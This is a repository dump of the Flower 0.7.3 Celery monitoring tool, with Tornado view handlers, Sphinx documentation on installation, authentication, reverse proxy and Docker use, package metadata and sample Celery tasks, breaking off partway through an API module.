limit=limit, type=type, 35 | worker=worker, state=state) 36 | workers = WorkersModel.get_workers(app) 37 | seen_task_types = TaskModel.seen_task_types(app) 38 | 39 | self.render("tasks.html", tasks=tasks, 40 | task_types=seen_task_types, 41 | all_states=celery.states.ALL_STATES, 42 | workers=workers, 43 | limit=limit, 44 | worker=worker, 45 | type=type, 46 | state=state) 47 | -------------------------------------------------------------------------------- /src/flower-0.7.3/build/lib.linux-x86_64-2.7/flower/views/workers.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | from tornado import web 4 | 5 | from ..views import BaseHandler 6 | from ..models import WorkersModel, WorkerModel 7 | 8 | 9 | class WorkersView(BaseHandler): 10 | @web.authenticated 11 | def get(self): 12 | app = self.application 13 | workers = WorkersModel.get_latest(app).workers 14 | broker = app.celery_app.connection().as_uri() 15 | 16 | self.render("workers.html", workers=workers, broker=broker) 17 | 18 | 19 | class WorkerView(BaseHandler): 20 | @web.authenticated 21 | def get(self, workername): 22 | app = self.application 23 | worker = WorkerModel.get_worker(app, workername) 24 | if worker is None: 25 | raise web.HTTPError(404, "Unknown worker '%s'" % workername) 26 | 27 | self.render("worker.html", worker=worker) 28 | -------------------------------------------------------------------------------- /src/flower-0.7.3/dist/flower-0.7.3-py2.7.egg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/dist/flower-0.7.3-py2.7.egg -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/api.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/api.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/auth.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/auth.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/config.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/config.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/docker.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/docker.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/environment.pickle: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/environment.pickle -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/features.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/features.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/index.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/index.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/install.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/install.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/man.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/man.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/reverse-proxy.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/reverse-proxy.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/doctrees/screenshots.doctree: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/doctrees/screenshots.doctree -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/.buildinfo: -------------------------------------------------------------------------------- 1 | # Sphinx build info version 1 2 | # This file hashes the configuration used when building these files. When it is not found, a full rebuild will be done. 3 | config: f1b0b74ca065a5272629eb2639f2f744 4 | tags: 645f666f9bcd5a90fca523b33c5a78b7 5 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/broker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/broker.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/config.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/dashboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/dashboard.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/limits.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/limits.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/monitor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/monitor.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/pool.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/pool.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/queues.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/queues.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/task.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/task.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/tasks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/tasks.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_images/worker-tasks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_images/worker-tasks.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_sources/api.txt: -------------------------------------------------------------------------------- 1 | API Reference 2 | ============= 3 | 4 | .. toctree:: 5 | :maxdepth: 2 6 | 7 | .. autotornado:: flower.app:Flower() 8 | 9 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_sources/docker.txt: -------------------------------------------------------------------------------- 1 | Docker Usage 2 | ============ 3 | 4 | Clone this repository, build flower from the Dockerfile, start the 5 | container and open http://localhost:49555 :: 6 | 7 | $ docker build -t "flower" . 8 | $ docker run -d -p=49555:5555 flower flower --port=5555 9 | 10 | For more information about running with Docker see 11 | http://docs.docker.io/en/latest/ 12 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_sources/features.txt: -------------------------------------------------------------------------------- 1 | Features 2 | -------- 3 | 4 | - Real-time monitoring using Celery Events 5 | 6 | - Task progress and history 7 | - Ability to show task details (arguments, start time, runtime, and more) 8 | - Graphs and statistics 9 | 10 | - Remote Control 11 | 12 | - View worker status and statistics 13 | - Shutdown and restart worker instances 14 | - Control worker pool size and autoscale settings 15 | - View and modify the queues a worker instance consumes from 16 | - View currently running tasks 17 | - View scheduled tasks (ETA/countdown) 18 | - View reserved and revoked tasks 19 | - Apply time and rate limits 20 | - Configuration viewer 21 | - Revoke or terminate tasks 22 | 23 | - Broker monitoring 24 | 25 | - View statistics for all Celery queues 26 | - Queue length graphs 27 | 28 | - HTTP API 29 | - Basic Auth and Google OpenID authentication 30 | 31 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_sources/index.txt: -------------------------------------------------------------------------------- 1 | =============================== 2 | Flower - Celery monitoring tool 3 | =============================== 4 | 5 | Flower is a web based tool for monitoring and administrating `Celery`_ clusters 6 | 7 | .. _Celery: http://celeryproject.org 8 | 9 | .. include:: features.rst 10 | 11 | Contents 12 | ======== 13 | 14 | .. toctree:: 15 | :maxdepth: 2 16 | 17 | features 18 | screenshots 19 | install 20 | config 21 | api 22 | auth 23 | reverse-proxy 24 | docker 25 | 26 | Flower is Open Source and licensed under the `BSD License`_. 27 | 28 | .. _`BSD License`: http://www.opensource.org/licenses/BSD-3-Clause 29 | 30 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_sources/install.txt: -------------------------------------------------------------------------------- 1 | Installation 2 | ============ 3 | 4 | Installing `flower` with `pip `_ is simple :: 5 | 6 | $ pip install flower 7 | 8 | Or, with `easy_install `_ :: 9 | 10 | $ easy_install flower 11 | 12 | Usage 13 | ----- 14 | 15 | Launch the server and open http://localhost:5555: :: 16 | 17 | $ flower --port=5555 18 | 19 | Or, launch from Celery: :: 20 | 21 | $ celery flower --address=127.0.0.1 --port=5555 22 | 23 | Broker URL and other configuration options can be passed through the standard Celery options: :: 24 | 25 | $ celery flower --broker=amqp://guest:guest@localhost:5672// 26 | 27 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_sources/reverse-proxy.txt: -------------------------------------------------------------------------------- 1 | .. _reverse-proxy: 2 | 3 | Running behind reverse proxy 4 | ============================ 5 | 6 | To run `Flower` behind a reverse proxy, remember to set the correct `Host` 7 | header to the request to make sure Flower can generate correct URLs. 8 | The following is a minimal `nginx` configuration: 9 | 10 | .. code-block:: nginx 11 | 12 | server { 13 | listen 80; 14 | server_name flower.example.com; 15 | charset utf-8; 16 | 17 | location / { 18 | proxy_pass http://localhost:5555; 19 | proxy_set_header Host $host; 20 | proxy_redirect off; 21 | proxy_http_version 1.1; 22 | proxy_set_header Upgrade $http_upgrade; 23 | proxy_set_header Connection "upgrade"; 24 | } 25 | } 26 | 27 | Note that you should not expose this site to the public internet without 28 | any sort of authentication! If you have a `htpasswd` file with user 29 | credentials you can make `nginx` use this file by adding the following 30 | lines to the location block: 31 | 32 | .. code-block:: nginx 33 | 34 | auth_basic "Restricted"; 35 | auth_basic_user_file htpasswd; 36 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_sources/screenshots.txt: -------------------------------------------------------------------------------- 1 | Screenshots 2 | =========== 3 | 4 | Worker dashboard: 5 | 6 | .. image:: screenshots/dashboard.png 7 | :width: 100% 8 | 9 | Task dashboard: 10 | 11 | .. image:: screenshots/tasks.png 12 | :width: 100% 13 | 14 | Worker tasks: 15 | 16 | .. image:: screenshots/worker-tasks.png 17 | :width: 100% 18 | 19 | Graphs: 20 | 21 | .. image:: screenshots/monitor.png 22 | :width: 100% 23 | 24 | Worker info: 25 | 26 | .. image:: screenshots/pool.png 27 | :width: 100% 28 | 29 | .. image:: screenshots/broker.png 30 | :width: 100% 31 | 32 | .. image:: screenshots/limits.png 33 | :width: 100% 34 | 35 | .. image:: screenshots/queues.png 36 | :width: 100% 37 | 38 | Task info: 39 | 40 | .. image:: screenshots/task.png 41 | :width: 100% 42 | 43 | Configuration viewer: 44 | 45 | .. image:: screenshots/config.png 46 | :width: 100% 47 | 48 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/ajax-loader.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/ajax-loader.gif -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/comment-bright.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/comment-bright.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/comment-close.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/comment-close.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/comment.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/comment.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/down-pressed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/down-pressed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/down.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/down.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/file.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/file.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/minus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/minus.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/plus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/plus.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/up-pressed.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/up-pressed.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/_static/up.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/_static/up.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/.build/html/objects.inv: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/.build/html/objects.inv -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/_static/.keep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/_static/.keep -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/_templates/.localtoc.html.swp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/_templates/.localtoc.html.swp -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/_templates/localtoc.html: -------------------------------------------------------------------------------- 1 | {%- if display_toc %} 2 |

{{ _('Table Of Contents') }}

3 | {{ toctree(collapse=False) }} 4 | {%- endif %} 5 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/_templates/page.html: -------------------------------------------------------------------------------- 1 | {% extends "layout.html" %} 2 | {% block body %} 3 |
4 | 5 |
6 | {{ body }} 7 | {% endblock %} 8 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/_templates/sidebarintro.html: -------------------------------------------------------------------------------- 1 |

2 | 4 |

5 | {%- if display_toc %} 6 |

{{ _('Table Of Contents') }}

7 | {{ toctree(collapse=False) }} 8 | {%- endif %} 9 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/_templates/sidebarlogo.html: -------------------------------------------------------------------------------- 1 |

2 | 4 |

5 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/_theme/celery/theme.conf: -------------------------------------------------------------------------------- 1 | [theme] 2 | inherit = basic 3 | stylesheet = celery.css 4 | 5 | [options] 6 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/api.rst: -------------------------------------------------------------------------------- 1 | API Reference 2 | ============= 3 | 4 | .. toctree:: 5 | :maxdepth: 2 6 | 7 | .. autotornado:: flower.app:Flower() 8 | 9 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/auth.rst: -------------------------------------------------------------------------------- 1 | Authentication 2 | ============== 3 | 4 | Protecting your Flower instance from unwarranted access is important 5 | if it runs in an untrusted environment. Below, we outline the various 6 | forms of authentication supported by Flower. 7 | 8 | .. _basic-auth: 9 | 10 | HTTP Basic Authentication 11 | ------------------------- 12 | 13 | Securing Flower with Basic Authentication is easy. 14 | 15 | The `--basic_auth` option accepts `user:password` pairs separated by 16 | semicolons. If configured, any client trying to access this 17 | Flower instance will be prompted to provide the credentials specified in 18 | this argument: :: 19 | 20 | $ celery flower --basic_auth=user1:password1,user2:password2 21 | 22 | See also :ref:`reverse-proxy` 23 | 24 | .. _google-openid: 25 | 26 | Google OpenID 27 | ------------- 28 | 29 | Flower also supports Google OpenID. This way you can authenticate any user 30 | with a Google account. Google OpenID authentication is enabled using the 31 | --auth option, which accepts a group of emails in the form of a regular 32 | expression. 33 | 34 | Grant access to Google accounts with email `me@gmail.com` and 35 | `you@gmail.com`: :: 36 | 37 | $ celery flower --auth="me@gmail.com|you@gmail.com" 38 | 39 | Grant access to all Google accounts having a domain of `example.com`: :: 40 | 41 | $ celery flower --auth=.*@example\.com 42 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/docker.rst: -------------------------------------------------------------------------------- 1 | Docker Usage 2 | ============ 3 | 4 | Clone this repository, build flower from the Dockerfile, start the 5 | container and open http://localhost:49555 :: 6 | 7 | $ docker build -t "flower" . 8 | $ docker run -d -p=49555:5555 flower flower --port=5555 9 | 10 | For more information about running with Docker see 11 | http://docs.docker.io/en/latest/ 12 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/features.rst: -------------------------------------------------------------------------------- 1 | Features 2 | -------- 3 | 4 | - Real-time monitoring using Celery Events 5 | 6 | - Task progress and history 7 | - Ability to show task details (arguments, start time, runtime, and more) 8 | - Graphs and statistics 9 | 10 | - Remote Control 11 | 12 | - View worker status and statistics 13 | - Shutdown and restart worker instances 14 | - Control worker pool size and autoscale settings 15 | - View and modify the queues a worker instance consumes from 16 | - View currently running tasks 17 | - View scheduled tasks (ETA/countdown) 18 | - View reserved and revoked tasks 19 | - Apply time and rate limits 20 | - Configuration viewer 21 | - Revoke or terminate tasks 22 | 23 | - Broker monitoring 24 | 25 | - View statistics for all Celery queues 26 | - Queue length graphs 27 | 28 | - HTTP API 29 | - Basic Auth and Google OpenID authentication 30 | 31 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/index.rst: -------------------------------------------------------------------------------- 1 | =============================== 2 | Flower - Celery monitoring tool 3 | =============================== 4 | 5 | Flower is a web based tool for monitoring and administrating `Celery`_ clusters 6 | 7 | .. _Celery: http://celeryproject.org 8 | 9 | .. include:: features.rst 10 | 11 | Contents 12 | ======== 13 | 14 | .. toctree:: 15 | :maxdepth: 2 16 | 17 | features 18 | screenshots 19 | install 20 | config 21 | api 22 | auth 23 | reverse-proxy 24 | docker 25 | 26 | Flower is Open Source and licensed under the `BSD License`_. 27 | 28 | .. _`BSD License`: http://www.opensource.org/licenses/BSD-3-Clause 29 | 30 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/install.rst: -------------------------------------------------------------------------------- 1 | Installation 2 | ============ 3 | 4 | Installing `flower` with `pip `_ is simple :: 5 | 6 | $ pip install flower 7 | 8 | Or, with `easy_install `_ :: 9 | 10 | $ pip install flower 11 | 12 | Usage 13 | ----- 14 | 15 | Launch the server and open http://localhost:5555: :: 16 | 17 | $ flower --port=5555 18 | 19 | Or, launch from Celery: :: 20 | 21 | $ celery flower --address=127.0.0.1 --port=5555 22 | 23 | Broker URL and other configuration options can be passed through the standard Celery options: :: 24 | 25 | $ celery flower --broker=amqp://guest:guest@localhost:5672// 26 | 27 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/reverse-proxy.rst: -------------------------------------------------------------------------------- 1 | .. _reverse-proxy: 2 | 3 | Running behind reverse proxy 4 | ============================ 5 | 6 | To run `Flower` behind a reverse proxy, remember to set the correct `Host` 7 | header to the request to make sure Flower can generate correct URLs. 8 | The following is a minimal `nginx` configuration: 9 | 10 | .. code-block:: nginx 11 | 12 | server { 13 | listen 80; 14 | server_name flower.example.com; 15 | charset utf-8; 16 | 17 | location / { 18 | proxy_pass http://localhost:5555; 19 | proxy_set_header Host $host; 20 | proxy_redirect off; 21 | proxy_http_version 1.1; 22 | proxy_set_header Upgrade $http_upgrade; 23 | proxy_set_header Connection "upgrade"; 24 | } 25 | } 26 | 27 | Note that you should not expose this site to the public internet without 28 | any sort of authentication! If you have a `htpasswd` file with user 29 | credentials you can make `nginx` use this file by adding the following 30 | lines to the location block: 31 | 32 | .. code-block:: nginx 33 | 34 | auth_basic "Restricted"; 35 | auth_basic_user_file htpasswd; 36 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots.rst: -------------------------------------------------------------------------------- 1 | Screenshots 2 | =========== 3 | 4 | Worker dashboard: 5 | 6 | .. image:: screenshots/dashboard.png 7 | :width: 100% 8 | 9 | Task dashboard: 10 | 11 | .. image:: screenshots/tasks.png 12 | :width: 100% 13 | 14 | Worker tasks: 15 | 16 | .. image:: screenshots/worker-tasks.png 17 | :width: 100% 18 | 19 | Graphs: 20 | 21 | .. image:: screenshots/monitor.png 22 | :width: 100% 23 | 24 | Worker info: 25 | 26 | .. image:: screenshots/pool.png 27 | :width: 100% 28 | 29 | .. image:: screenshots/broker.png 30 | :width: 100% 31 | 32 | .. image:: screenshots/limits.png 33 | :width: 100% 34 | 35 | .. image:: screenshots/queues.png 36 | :width: 100% 37 | 38 | Task info: 39 | 40 | .. image:: screenshots/task.png 41 | :width: 100% 42 | 43 | Configuration viewer: 44 | 45 | .. image:: screenshots/config.png 46 | :width: 100% 47 | 48 | -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/broker.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/broker.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/config.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/config.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/dashboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/dashboard.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/limits.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/limits.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/monitor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/monitor.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/pool.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/pool.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/queues.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/queues.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/task.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/task.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/tasks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/tasks.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/screenshots/worker-tasks.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/docs/screenshots/worker-tasks.png -------------------------------------------------------------------------------- /src/flower-0.7.3/docs/tasks.py: -------------------------------------------------------------------------------- 1 | from celery import Celery 2 | from time import sleep 3 | 4 | celery = Celery() 5 | celery.config_from_object({ 6 | 'BROKER_URL': 'amqp://10.0.2.2', 7 | 'CELERY_RESULT_BACKEND': 'amqp://', 8 | 'CELERYD_POOL_RESTARTS': True, 9 | }) 10 | 11 | 12 | @celery.task 13 | def add(x, y): 14 | return x + y 15 | 16 | 17 | @celery.task 18 | def sub(x, y): 19 | sleep(30) # Simulate work 20 | return x - y 21 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower.egg-info/dependency_links.txt: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower.egg-info/entry_points.txt: -------------------------------------------------------------------------------- 1 | [celery.commands] 2 | flower = flower.command:FlowerCommand 3 | 4 | [console_scripts] 5 | flower = flower.__main__:main 6 | 7 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower.egg-info/requires.txt: -------------------------------------------------------------------------------- 1 | celery 2 | tornado>=3.2.0 3 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower.egg-info/top_level.txt: -------------------------------------------------------------------------------- 1 | flower 2 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/.DS_Store -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/._.DS_Store: -------------------------------------------------------------------------------- 1 | Mac OS X  2Fx ATTRxx -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | VERSION = (0, 7, 3) 4 | __version__ = '.'.join(map(str, VERSION)) 5 | 6 | from .app import Flower # noqa 7 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/__main__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | from __future__ import print_function 3 | 4 | from flower.command import FlowerCommand 5 | from flower.utils import bugreport 6 | 7 | 8 | def main(): 9 | try: 10 | flower = FlowerCommand() 11 | flower.execute_from_commandline() 12 | except: 13 | import sys 14 | print(bugreport(), file=sys.stderr) 15 | raise 16 | 17 | 18 | if __name__ == "__main__": 19 | main() 20 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/api/.DS_Store: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lietdai/doom/389858f6c95f9c533981c1aaf49907ff910084e8/src/flower-0.7.3/flower/api/.DS_Store -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/api/._.DS_Store: -------------------------------------------------------------------------------- 1 | Mac OS X  2Fx ATTRxx -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/api/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import tornado.websocket 4 | 5 | 6 | class BaseWebSocketHandler(tornado.websocket.WebSocketHandler): 7 | # listeners = [], should be created in derived class 8 | 9 | def open(self): 10 | listeners = self.listeners 11 | listeners.append(self) 12 | 13 | def on_message(self, message): 14 | pass 15 | 16 | def on_close(self): 17 | listeners = self.listeners 18 | if self in listeners: 19 | listeners.remove(self) 20 | 21 | @classmethod 22 | def send_message(cls, message): 23 | for l in cls.listeners: 24 | l.write_message(message) 25 | -------------------------------------------------------------------------------- /src/flower-0.7.3/flower/api/events.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | 3 | import sys 4 | 5 | from ..api import BaseWebSocketHandler 6 | 7 | 8 | class EventsApiHandler(BaseWebSocketHandler): 9 | def open(self, task_id=None): 10 | BaseWebSocketHandler.open(self) 11 | self.task_id = task_id 12 | 13 | @classmethod 14 | def send_message(cls, event): 15 | for l in cls.listeners: 16 | if not l.task_id or l.task_id == event['uuid']: 17 | l.write_message(event) 18 | 19 | 20 | EVENTS = ('task-sent', 'task-received', 'task-started', 'task-succeeded', 21 | 'task-failed', 'task-revoked', 'task-retried') 22 | 23 | 24 | def getClassName(eventname): 25 | return 